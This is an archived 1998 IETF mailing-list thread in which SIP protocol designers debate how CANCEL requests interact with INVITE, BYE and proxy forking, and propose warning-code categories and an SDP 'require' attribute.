From confctrl-owner  Wed Jul  1 07:38:52 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA13626
	for confctrl-outgoing; Wed, 1 Jul 1998 07:38:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA13621
	for <confctrl@zephyr.isi.edu>; Wed, 1 Jul 1998 07:38:50 -0700 (PDT)
Received: from boeygen.nr.no (boeygen.nr.no [156.116.2.2])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA27592
	for <confctrl@ISI.EDU>; Wed, 1 Jul 1998 07:38:48 -0700 (PDT)
Received: from nr.no by boeygen.nr.no with SMTP (PP) id <06303-0@boeygen.nr.no>;
          Wed, 1 Jul 1998 16:37:21 +0200
Message-ID: <359A49A0.55E42A90@ifi.uio.no>
Date: Wed, 01 Jul 1998 16:37:20 +0200
From: Eirik Maus <eirikma@ifi.uio.no>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: confctrl@ISI.EDU
Subject: Re: CANCEL -- I'm totally confused
References: <42256634.004435E8.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> From: Scott Petrack@VOCALTEC on 07/01/98 02:30 PM
> 
> Draft 7a.txt says:
> 
> Once a user agent server has received a  CANCEL, it MUST NOT issue a
>    2xx response for the cancelled invitation.

I thought this meant that no 2xx Response should be sent for the
INVITE-Request after reception of a CANCEL (and made no statement about
responses to CANCEL). 
This makes sense with the latter case below.

> A redirect server or user agent server returns 200 (OK) if the Call-
>    ID exists and 481 (Invalid Call-ID) if not, but takes no further
>    action. In particular, any existing call is unaffected.
> 
> What does the user agent return when it receives a CANCEL  for a call with
> an existing Call-ID...
>      ...in the case when the server previously returned 200 OK and the call
> is in progress?
>      ...in the case when the server previously returned 180 RINGING and has
> never sent 200 OK?

In my understanding the Server, in the latter case, should somehow stop
the ringing and return 2xx on the CANCEL. No further Responses should be
returned on the INVITE. 

What action that should be taken in the former case is unclear, however. 
A Redirect Server should not have returned 2xx on INVITE (if calling
through a RS is OK, then the RS is a Proxy). A User Agent returning 2xx
on INVITE indicates that the callee has "picked up the phone handset".

It is obvious that the message CANCEL (caller "putting on the phone
handset") has been sent before he noticed the callee "picking up the
handset" (2xx on INVITE).
The message is (thinking loudly) illegal in that state (a BYE should be
sent), or else BYE and CANCEL are equivalent. 
As the Client may have sent the CANCEL while the 2xx-response was
"travelling along the wire", it is a hard judgement to say the CANCEL is
illegal. It clearly wasn't at the time it was sent (at least the client
couldn't know).

But:
The caller has "put on the phone handset". 
So, he is no longer a part of the session.
So, he is neither speaking nor listening.
So, does he really care what kind of Response that was given?

The question is then: 
How should the callee be notified that the caller doesn't want to speak
to him after all?
INVITE in the opposite direction?



Eirik Maus
Norwegian Computing Center /IMEDIA

From confctrl-owner  Wed Jul  1 07:58:08 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA14175
	for confctrl-outgoing; Wed, 1 Jul 1998 07:58:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14158
	for <confctrl@zephyr.isi.edu>; Wed, 1 Jul 1998 07:58:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA28604
	for <confctrl@ISI.EDU>; Wed, 1 Jul 1998 07:58:02 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Wed Jul  1 10:56:53 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id KAA16927;
	Wed, 1 Jul 1998 10:56:49 -0400 (EDT)
Message-ID: <359A4DAB.B8F453F4@dnrc.bell-labs.com>
Date: Wed, 01 Jul 1998 10:54:35 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>
CC: Scott Petrack <Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU
Subject: Re: CANCEL -- I'm totally confused
References: <2297.899303053@north.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Handley wrote:
> 
> I'm not convinced the draft expresses CANCEL semantics clearly enough.
> Let me see if I can summarise what I believe the rules are.  If we
> agree this is the intention, then we can check that the draft actually
> specifies the intention.

> - 200 responses to INVITE and 200 responses to CANCEL are
>   distinguished by the method in the Cseq header field, so there is no
>   ambiguity.

This distinguishing is necessary since the CANCEL and INVITE contain the
same CSeq number and CalliD. This is the case even if a UAC initiates
the INVITE, but a proxy initiates the CANCEL. Using the same
Call-ID/CSeq number allows a server to determine which transaction is
being cancelled by the CANCEL.


> 
> I think that's it.  Henning, Eve, Jonathan, do you agree this is the
> correct behaviour?

Yes. Two more clarifications, though: 

1. what happens if a CANCEL is sent referencing a non-INVITE
transaction? I think the same rules apply.

2. The -07a specification says that a CANCEL is forwarded by a proxy
only on branches which are still pending. I think a CANCEL should also
be sent on any branch which has returned a 200 OK response as well, as
more 200 OK's may still arrive along that branch. 

> 
> If so, does the draft say this clearly enough?

Probably some clarification text (along the lines of your last email)
would be good.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jul  1 08:09:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA14617
	for confctrl-outgoing; Wed, 1 Jul 1998 08:09:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA14605
	for <confctrl@zephyr.isi.edu>; Wed, 1 Jul 1998 08:09:36 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA29652
	for <confctrl@ISI.EDU>; Wed, 1 Jul 1998 08:09:35 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA03380; Wed, 1 Jul 1998 11:09:26 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: Scott Petrack <Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU
Subject: Re: CANCEL -- I'm totally confused 
In-reply-to: Your message of "Wed, 01 Jul 1998 10:54:35 EDT."
             <359A4DAB.B8F453F4@dnrc.bell-labs.com> 
Date: Wed, 01 Jul 1998 11:09:26 -0400
Message-ID: <3378.899305766@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Yes. Two more clarifications, though: 
>
>1. what happens if a CANCEL is sent referencing a non-INVITE
>transaction? I think the same rules apply.

The same rules would apply for other methods except ACK and BYE.  It's
not clear that CANCEL is meaningful for REGISTER, but I see no reason
to to prohibit it because that would just add unnecessary rules.

>2. The -07a specification says that a CANCEL is forwarded by a proxy
>only on branches which are still pending. I think a CANCEL should also
>be sent on any branch which has returned a 200 OK response as well, as
>more 200 OK's may still arrive along that branch. 

My understanding was that the 200 response to the INVITE would have
triggered any forking proxies on that branch to send CANCEL, so
there's no need to send another CANCEL that way.  This is specified in
11.4 under the description of 2xx responses.

Cheers,
	Mark

From confctrl-owner  Wed Jul  1 08:18:08 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA14883
	for confctrl-outgoing; Wed, 1 Jul 1998 08:18:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA14878
	for <confctrl@zephyr.isi.edu>; Wed, 1 Jul 1998 08:18:07 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA00229
	for <confctrl@ISI.EDU>; Wed, 1 Jul 1998 08:18:02 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Wed Jul  1 11:16:44 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id LAA18279;
	Wed, 1 Jul 1998 11:16:43 -0400 (EDT)
Message-ID: <359A5255.1E6C6E2F@dnrc.bell-labs.com>
Date: Wed, 01 Jul 1998 11:14:29 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>
CC: Scott Petrack <Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU
Subject: Re: CANCEL -- I'm totally confused
References: <3378.899305766@north.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Handley wrote:
> 
> >Yes. Two more clarifications, though:
> >
> >1. what happens if a CANCEL is sent referencing a non-INVITE
> >transaction? I think the same rules apply.
> 
> The same rules would apply for other methods except ACK and BYE.  It's
> not clear that CANCEL is meaningful for REGISTER, but I see no reason
> to to prohibit it because that would just add unnecessary rules.

I see why it doesn't apply ACK, but why not BYE? 

> 
> >2. The -07a specification says that a CANCEL is forwarded by a proxy
> >only on branches which are still pending. I think a CANCEL should also
> >be sent on any branch which has returned a 200 OK response as well, as
> >more 200 OK's may still arrive along that branch.
> 
> My understanding was that the 200 response to the INVITE would have
> triggered any forking proxies on that branch to send CANCEL, so
> there's no need to send another CANCEL that way.  This is specified in
> 11.4 under the description of 2xx responses.

Right, forgot about that. Thanks.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jul  1 08:36:50 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA15577
	for confctrl-outgoing; Wed, 1 Jul 1998 08:36:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA15572
	for <confctrl@zephyr.isi.edu>; Wed, 1 Jul 1998 08:36:48 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA01800
	for <confctrl@ISI.EDU>; Wed, 1 Jul 1998 08:36:47 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA03514; Wed, 1 Jul 1998 11:36:40 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: Scott Petrack <Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU
Subject: Re: CANCEL -- I'm totally confused 
In-reply-to: Your message of "Wed, 01 Jul 1998 11:14:29 EDT."
             <359A5255.1E6C6E2F@dnrc.bell-labs.com> 
Date: Wed, 01 Jul 1998 11:36:40 -0400
Message-ID: <3512.899307400@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>> >1. what happens if a CANCEL is sent referencing a non-INVITE
>> >transaction? I think the same rules apply.
>> 
>> The same rules would apply for other methods except ACK and BYE.  It's
>> not clear that CANCEL is meaningful for REGISTER, but I see no reason
>> to to prohibit it because that would just add unnecessary rules.
>
>I see why it doesn't apply ACK, but why not BYE? 

In terms of protocol mechanisms, it wouldn't break anything to send a
CANCEL for a BYE request.  But in terms of protocol semantics, it just
doesn't make sense - BYE terminated the call.  CANCEL basically says
that if you haven't succeeded yet, don't bother anymore.  BYE says
don't bother anymore regardless of any previously success.  BYE
cancels all previous requests.  CANCEL can't add to this, so it makes
no sense to send it.

Mark

From confctrl-owner  Thu Jul  2 08:37:24 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA15559
	for confctrl-outgoing; Thu, 2 Jul 1998 08:37:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA15554
	for <confctrl@zephyr.isi.edu>; Thu, 2 Jul 1998 08:37:23 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA12966
	for <confctrl@ISI.EDU>; Thu, 2 Jul 1998 08:37:18 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id SAA03610; Thu, 2 Jul 1998 18:37:10 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256635.005B6FDE ; Thu, 2 Jul 1998 18:38:44 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: jdrosen@dnrc.bell-labs.com
cc: confctrl@ISI.EDU
Message-ID: <42256635.0018117D.00@il4.vocaltec.co.il>
Date: Thu, 2 Jul 1998 06:47:50 +0200
Subject: Re: CANCEL -- I'm totally confused
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 07/02/98 06:47 AM

I believe that Mark and Jonathan agree on the rules for CANCEL.

>> What does the user agent return when it receives a CANCEL  for a call
with
>> an existing Call-ID...
>>      ...in the case when the server previously returned 200 OK and the
call
>> is in progress?
>
>It returns a 200 OK to the CANCEL.

So in this case, the CANCEL has no effect except to generate the 200 OK
response. Nothing is actually CANCELed, correct?

If this is the rule, then what happens if things happen in the following
order:

1. Client sends INVITE to server.
2. Server responsds to INVITE with 200 OK.
3. The 200 OK response to the INVITE gets lost.
4. Client sends CANCEL right after sending INVITE.
5. Server responds to CANCEL with 200 OK.

The client now thinks that the call was CANCELed, and the server
now thinks that the call is in session. Both sides are perfectly satisfied,
but
disagree rather violently on the state of the call. Is this a problem?

Personally, I would rather that a CANCEL message to a valid call in session
should
return some sort of error response which means "The server understood the
request but  has not canceled the call." A response like 403 Forbidden. It
seems wierd to me to
have a server return a successful OK to a request and then not do anything.
But this may just be some aesthetic problem on my part. If the above
exchange is considered a real problem, however, I would rather change the
rule slightly.

...

>As both the CANCEL and INVITE have the same Call-ID and CSeq number, the
>responses are distinguished by means of the method tag in the CSeq
>header.

Ah, yes I forgot about the method tag. Maybe for us senile types you could
include in the section on CANCEL in the spec a sentence like this?




From confctrl-owner  Thu Jul  2 09:18:46 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA16784
	for confctrl-outgoing; Thu, 2 Jul 1998 09:18:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA16779
	for <confctrl@zephyr.isi.edu>; Thu, 2 Jul 1998 09:18:45 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA16156
	for <confctrl@ISI.EDU>; Thu, 2 Jul 1998 09:18:43 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA06917; Thu, 2 Jul 1998 12:18:17 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Scott Petrack <Scott_Petrack@vocaltec.com>
cc: jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU
Subject: Re: CANCEL -- I'm totally confused 
In-reply-to: Your message of "Thu, 02 Jul 1998 06:47:50 +0200."
             <42256635.0018117D.00@il4.vocaltec.co.il> 
Date: Thu, 02 Jul 1998 12:18:17 -0400
Message-ID: <6915.899396297@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>So in this case, the CANCEL has no effect except to generate the 200 OK
>response. Nothing is actually CANCELed, correct?

Correct.

>If this is the rule, then what happens if things happen in the following
>order:
>
>1. Client sends INVITE to server.
>2. Server responsds to INVITE with 200 OK.
>3. The 200 OK response to the INVITE gets lost.
>4. Client sends CANCEL right after sending INVITE.
>5. Server responds to CANCEL with 200 OK.
>
>The client now thinks that the call was CANCELed, and the server
>now thinks that the call is in session. Both sides are perfectly satisfied,
>but
>disagree rather violently on the state of the call. Is this a problem?

I don't believe it's a problem.  This can only happen when the
responder sending 200 to the INVITE is not the first responder to send
a definitive response.  If no-one else had sent a definitive response
(2xx or 6xx) then the client wouldn't send a CANCEL.  If it wanted to
hang up it would have sent a BYE instead.

If someone else answered first, then the second 200 OK would get back
to the caller, and it's then up to the caller whether they now send a
BYE, or an ACK and handle the multiway call that results.

>But this may just be some aesthetic problem on my part.

I think it's just aesthetics.  Think of the 200 response from the
cancel as saying "don't send me any more restransmissions of that
cancel".  It simply means it was received.  It does not mean anything
additional.  

Further responses may be forthcoming, but you can choose to ignore
them if you want or send an ACK or BYE if appropriate.  This applies
irrespective of whether you sent a CANCEL because CANCEL is purely an
optimization to allow state to be removed, prevent unnecessary ongoing
searches, and stop the phone ringing when it's no longer desired.

Mark

From confctrl-owner  Thu Jul  2 12:20:07 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA23419
	for confctrl-outgoing; Thu, 2 Jul 1998 12:20:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA23414
	for <confctrl@zephyr.isi.edu>; Thu, 2 Jul 1998 12:20:06 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA09732
	for <confctrl@ISI.EDU>; Thu, 2 Jul 1998 12:20:04 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Thu Jul  2 15:19:31 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id PAA09532;
	Thu, 2 Jul 1998 15:19:26 -0400 (EDT)
Message-ID: <359BDCB4.305DB341@dnrc.bell-labs.com>
Date: Thu, 02 Jul 1998 15:17:08 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: confctrl@ISI.EDU
Subject: Re: CANCEL -- I'm totally confused
References: <42256635.0018117D.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> From: Scott Petrack@VOCALTEC on 07/02/98 06:47 AM
> 
> So in this case, the CANCEL has no effect except to generate the 200 OK
> response. Nothing is actually CANCELed, correct?
> 
> If this is the rule, then what happens if things happen in the following
> order:
> 
> 1. Client sends INVITE to server.
> 2. Server responsds to INVITE with 200 OK.
> 3. The 200 OK response to the INVITE gets lost.
> 4. Client sends CANCEL right after sending INVITE.
> 5. Server responds to CANCEL with 200 OK.
> 
> The client now thinks that the call was CANCELed, and the server
> now thinks that the call is in session. Both sides are perfectly satisfied,
> but
> disagree rather violently on the state of the call. Is this a problem?

CANCEL is *not* used to change call state at both ends. Rather, it is
used to indicate that a client (or proxy) is not interested in getting
any more responses. As you point out, there may be additional responses
which arrive even after a CANCEL is sent, but they should be minimized
as a result of the CANCEL. As Mark points out, it is an optimization.
Its main purpose is to give proxies a good idea about when it is
reasonably safe to destroy transaction state. Once a proxy receives and
forwards a CANCEL, it knows that it shouldn't receive any responses
except for those already in transit. It can therefore become stateless
(note that a stateless proxy will still forward responses upstream, but
it forwards all responses, including non-200) without causing a major
non-200 implosion problem.


-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Jul  3 00:16:33 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA06771
	for confctrl-outgoing; Fri, 3 Jul 1998 00:16:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA06766
	for <confctrl@zephyr.isi.edu>; Fri, 3 Jul 1998 00:16:32 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA23912;
	Fri, 3 Jul 1998 00:16:29 -0700 (PDT)
Received: from ibm.net (slip139-92-5-235.stu.de.ibm.net [139.92.5.235]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id DAA02987; Fri, 3 Jul 1998 03:16:25 -0400 (EDT)
Message-ID: <359BB84A.B6A739D3@cs.columbia.edu>
Date: Thu, 02 Jul 1998 12:41:46 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (Win95; I)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Scott Petrack <Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU
Subject: Re: CANCEL -- I'm totally confused
References: <3512.899307400@north.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Handley wrote:
> 
> >I see why it doesn't apply ACK, but why not BYE?
> 
> In terms of protocol mechanisms, it wouldn't break anything to send a
> CANCEL for a BYE request.  But in terms of protocol semantics, it just
> doesn't make sense - BYE terminated the call.  CANCEL basically says
> that if you haven't succeeded yet, don't bother anymore.  BYE says
> don't bother anymore regardless of any previously success.  BYE
> cancels all previous requests.  CANCEL can't add to this, so it makes
> no sense to send it.

Since we may add other request methods in the future, having a generic
"cancel this request" mechanism seems useful. Thus, CANCEL cancels the
request (typically, INVITE), not the pending call [the spec needs to be
clarified in this regard]. In the case of INVITE, this is the same
thing, in the case of REGISTER, it is not. CANCEL is an "ooops, I
changed my mind" type of request, in my view. In most cases, the BYE
will succeed immediately, so the CANCEL doesn't have much chance to do
anything useful, but restricting the usage doesn't seem to serve any
purpose beyond generating yet more special cases.

> 
> Mark



From confctrl-owner  Fri Jul  3 04:56:45 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA09223
	for confctrl-outgoing; Fri, 3 Jul 1998 04:56:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA09218
	for <confctrl@zephyr.isi.edu>; Fri, 3 Jul 1998 04:56:44 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA04379;
	Fri, 3 Jul 1998 04:56:40 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id OAA19002; Fri, 3 Jul 1998 14:56:40 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256636.0047419B ; Fri, 3 Jul 1998 14:58:18 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: hgs@cs.columbia.edu
cc: mjh@ISI.EDU, confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Message-ID: <42256636.00336DC9.00@il4.vocaltec.co.il>
Date: Fri, 3 Jul 1998 12:08:09 +0200
Subject: Re: Warning Codes (was: Re: Missing Warning reasons to SIP)
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 07/03/98 12:08 PM

Sorry, my mailer is insane (well, retarded is more medically accurate:
Lotus Notes).

>I have tentatively added
>3xx warning, did not cause request to fail
>4xx error, caused failure status
This is sort of a "severity score" rather than giving some idea of what the
error was. Could I suggest the following
warning codes:

3xx    -- SIP syntax warning
4xx    -- SIP semantics warning (parsed the SIP fine, but didn't understand
something)
5xx    -- Payload Syntax Warning (can't parse the Payload, includes "don't
recognize the content-type of payload").
6xx    -- Payload Semantics warning (could parse the payload, but didn't
understand something in it).

I would suggest that we already specify:

50x   -- SDP syntax warning
60x   -- SDP semantics warning

And within this we can place all of the nice specific warnings that we have
already defined.
Henning, your "severity scores"  are fine, but maybe they could be
subcodes, as in

60x.1   -- an SDP semantic problem that caused a failure   (e.g. I didn't
understand a tag in the a=rtpmap: line)

If we really want to keep an eye on a future merging with HTTP, we could
call the 3xx and 4xx Warnings
"Header Syntax Warning" and "Header Semantics Warning".   Then we would
define 31x and 41x to refer to
SIP-specific headers. ( maybe we'll reserve 30x and 40x for HTTP headers
and 31x, 41x for SIP-specific headers).

This makes the four codes defined very nice
and generic, but still extremely useful (at least to me) -- for example, it
allows the warnings about the payload
to be passed to the tool which generated or parses the payloads in an
automatic way.

BTW, I have not yet been able to download SIP v7, so I apologize if this is
there. I am sort of assuming that
in SIP v7 there is just the 3xx and 4xx that Henning suggests.

Finally, it may be that we want four digit codes 3xxx, 4xxx, 5xxx, 6xxx,
etc.

Scott

I might as well come clean and say that I am going to need to extend these
a bit for PINT, e.g. so that when a client
sends a BYE but 3 out of 4 fax pages have already been sent the server can
warn the client of this fact. I think that
I will want to add a complete separate category of warnings for this case
(say 7xxx meaning "media session status warnings" -- generically it
includes a warning about the status of a media session. I think this is
reasonable since
even if SIP is not about SDP, it is about sessions, and SIP can now be used
to change sessions that are in progress,
so it is reasonable to include Warnings about the status of ongoing
sessions).




From confctrl-owner  Fri Jul  3 04:56:49 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA09231
	for confctrl-outgoing; Fri, 3 Jul 1998 04:56:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA09226
	for <confctrl@zephyr.isi.edu>; Fri, 3 Jul 1998 04:56:46 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA04384
	for <confctrl@isi.edu>; Fri, 3 Jul 1998 04:56:44 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id OAA19007; Fri, 3 Jul 1998 14:57:02 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256636.00474138 ; Fri, 3 Jul 1998 14:58:17 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: mjh@ISI.EDU
cc: confctrl@ISI.EDU
Message-ID: <42256636.0032A947.00@il4.vocaltec.co.il>
Date: Fri, 3 Jul 1998 13:04:26 +0200
Subject: Re: Can a client make the server return an error instead of
	 ignore an unknown?
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 07/03/98 01:04 PM


>One possibility is to define and register an SDP "require" attribute:
>
>a=require:quality,lang
>
>This would mean that clients that understand the require attribute
>MUST also understand the quality and lang attributes to be able to
>participate.  Clients that don't understand "require" would of course
>not enforce the rule.

